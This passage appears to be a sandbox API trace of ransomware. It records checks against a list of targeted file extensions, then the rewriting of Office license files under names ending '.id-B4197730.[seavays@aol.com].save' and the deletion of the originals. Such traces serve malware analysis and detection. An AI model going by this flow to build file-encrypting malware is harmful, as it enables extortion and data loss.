lstrlenW (lpString=".doc") returned 4 [0192.262] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.262] lstrlenW (lpString=".docx") returned 5 [0192.262] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.262] lstrlenW (lpString=".pdf") returned 4 [0192.262] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.262] lstrlenW (lpString=".xls") returned 4 [0192.262] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.262] lstrlenW (lpString=".xlsx") returned 5 [0192.262] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.262] lstrlenW (lpString=".ppt") returned 4 [0192.262] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0192.262] lstrlenW (lpString=".zip") returned 4 [0192.262] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.262] lstrlenW (lpString=".rar") returned 4 [0192.262] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.263] lstrlenW (lpString=".bz2") returned 4 [0192.263] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.263] lstrlenW (lpString=".7z") returned 3 [0192.263] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0192.263] lstrlenW (lpString=".dbf") returned 4 [0192.263] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0192.263] lstrlenW (lpString=".1cd") returned 4 [0192.263] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0192.263] lstrlenW (lpString=".jpg") returned 4 [0192.263] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.265] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11621) returned 1 [0192.265] CloseHandle (hObject=0x510) returned 1 [0192.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 0x220 [0192.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0192.267] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.267] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0192.269] GetLastError () returned 0x0 [0192.269] ReadFile (in: hFile=0x510, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0192.271] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0192.272] ReadFile (in: hFile=0x510, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.272] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11a, lpOverlapped=0x0) returned 1 [0192.273] SetEndOfFile (hFile=0x56c) returned 1 [0192.273] CloseHandle (hObject=0x56c) returned 1 [0192.273] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.273] SetEndOfFile (hFile=0x510) returned 1 [0192.279] CloseHandle (hObject=0x510) returned 1 [0192.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 1 [0192.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0192.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0192.281] lstrlenW (lpString=".doc") returned 4 [0192.281] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.281] lstrlenW (lpString=".docx") returned 5 [0192.281] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.281] lstrlenW (lpString=".pdf") returned 4 [0192.282] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.282] lstrlenW (lpString=".xls") returned 4 [0192.282] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.282] lstrlenW (lpString=".xlsx") returned 5 [0192.282] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.282] lstrlenW (lpString=".ppt") returned 4 [0192.282] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0192.282] lstrlenW (lpString=".zip") returned 4 [0192.282] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.282] lstrlenW (lpString=".rar") returned 4 [0192.282] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.282] lstrlenW (lpString=".bz2") returned 4 [0192.282] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.282] lstrlenW (lpString=".7z") returned 3 [0192.282] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0192.283] lstrlenW (lpString=".dbf") returned 4 [0192.283] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0192.283] lstrlenW (lpString=".1cd") returned 4 [0192.283] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0192.283] lstrlenW (lpString=".jpg") returned 4 [0192.283] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.284] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=9613) returned 1 [0192.284] CloseHandle (hObject=0x510) returned 1 [0192.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 0x220 [0192.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0192.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0192.500] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.500] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0192.657] GetLastError () returned 0x0 [0192.657] ReadFile (in: hFile=0x510, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x258d, lpOverlapped=0x0) returned 1 [0192.659] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2590, lpOverlapped=0x0) returned 1 [0192.661] ReadFile (in: hFile=0x510, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.661] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x112, lpOverlapped=0x0) returned 1 [0192.661] SetEndOfFile (hFile=0x51c) returned 1 [0192.661] CloseHandle (hObject=0x51c) returned 1 [0192.661] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.662] SetEndOfFile (hFile=0x510) returned 1 [0192.666] CloseHandle (hObject=0x510) returned 1 [0192.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 1 [0193.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0193.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0193.497] lstrlenW (lpString=".doc") returned 4 [0193.497] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.497] lstrlenW (lpString=".docx") returned 5 [0193.497] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.497] lstrlenW (lpString=".pdf") returned 4 [0193.497] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.498] lstrlenW (lpString=".xls") returned 4 [0193.498] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.498] lstrlenW (lpString=".xlsx") returned 5 [0193.498] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.498] lstrlenW (lpString=".ppt") returned 4 [0193.498] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0193.498] lstrlenW (lpString=".zip") returned 4 [0193.498] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.498] lstrlenW (lpString=".rar") returned 4 [0193.498] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.498] lstrlenW (lpString=".bz2") returned 4 [0193.498] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.498] lstrlenW (lpString=".7z") returned 3 [0193.498] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0193.498] lstrlenW (lpString=".dbf") returned 4 [0193.498] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0193.498] lstrlenW (lpString=".1cd") returned 4 [0193.499] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0193.499] lstrlenW (lpString=".jpg") returned 4 [0193.499] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0193.642] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=32361) returned 1 [0193.642] CloseHandle (hObject=0x44c) returned 1 [0193.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 0x220 [0193.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.023] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.023] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0194.025] GetLastError () returned 0x0 [0194.025] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x7e69, lpOverlapped=0x0) returned 1 [0194.028] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x7e70, lpOverlapped=0x0) returned 1 [0194.030] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.030] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x110, lpOverlapped=0x0) returned 1 [0194.031] SetEndOfFile (hFile=0x550) returned 1 [0194.031] CloseHandle (hObject=0x550) returned 1 [0194.031] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.031] SetEndOfFile (hFile=0x548) returned 1 [0194.035] CloseHandle (hObject=0x548) returned 1 [0194.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 1 [0194.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0194.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0194.038] lstrlenW (lpString=".doc") returned 4 [0194.038] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.038] lstrlenW (lpString=".docx") returned 5 [0194.039] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.039] lstrlenW (lpString=".pdf") returned 4 [0194.039] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.039] lstrlenW (lpString=".xls") returned 4 [0194.039] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.039] lstrlenW (lpString=".xlsx") returned 5 [0194.039] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.039] lstrlenW (lpString=".ppt") returned 4 [0194.039] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0194.039] lstrlenW (lpString=".zip") returned 4 [0194.039] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.039] lstrlenW (lpString=".rar") returned 4 [0194.039] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.039] lstrlenW (lpString=".bz2") returned 4 [0194.039] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.039] lstrlenW (lpString=".7z") returned 3 [0194.039] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0194.039] lstrlenW (lpString=".dbf") returned 4 [0194.039] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0194.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0194.039] lstrlenW (lpString=".1cd") returned 4 [0194.039] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80 [0194.040] lstrlenW (lpString=".jpg") returned 4 [0194.040] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.041] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11147) returned 1 [0194.041] CloseHandle (hObject=0x548) returned 1 [0194.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 0x220 [0194.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.042] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.042] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0194.045] GetLastError () returned 0x0 [0194.045] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2b8b, lpOverlapped=0x0) returned 1 [0194.047] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0194.049] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.049] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x104, lpOverlapped=0x0) returned 1 [0194.049] SetEndOfFile (hFile=0x550) returned 1 [0194.049] CloseHandle (hObject=0x550) returned 1 [0194.049] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.049] SetEndOfFile (hFile=0x548) returned 1 [0194.053] CloseHandle (hObject=0x548) returned 1 [0194.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 1 [0194.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0194.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0194.056] lstrlenW (lpString=".doc") returned 4 [0194.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0194.056] lstrlenW (lpString=".docx") returned 5 [0194.056] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0194.056] lstrlenW (lpString=".pdf") returned 4 [0194.056] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0194.056] lstrlenW (lpString=".xls") returned 4 [0194.056] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0194.056] lstrlenW (lpString=".xlsx") returned 5 [0194.056] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0194.056] lstrlenW (lpString=".ppt") returned 4 [0194.056] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0194.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0194.056] lstrlenW (lpString=".zip") returned 4 [0194.056] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0194.056] lstrlenW (lpString=".rar") returned 4 [0194.056] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0194.056] lstrlenW (lpString=".bz2") returned 4 [0194.056] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0194.056] lstrlenW (lpString=".7z") returned 3 [0194.056] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0194.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0194.056] lstrlenW (lpString=".dbf") returned 4 [0194.056] lstrcmpiW (lpString1=".dbf", 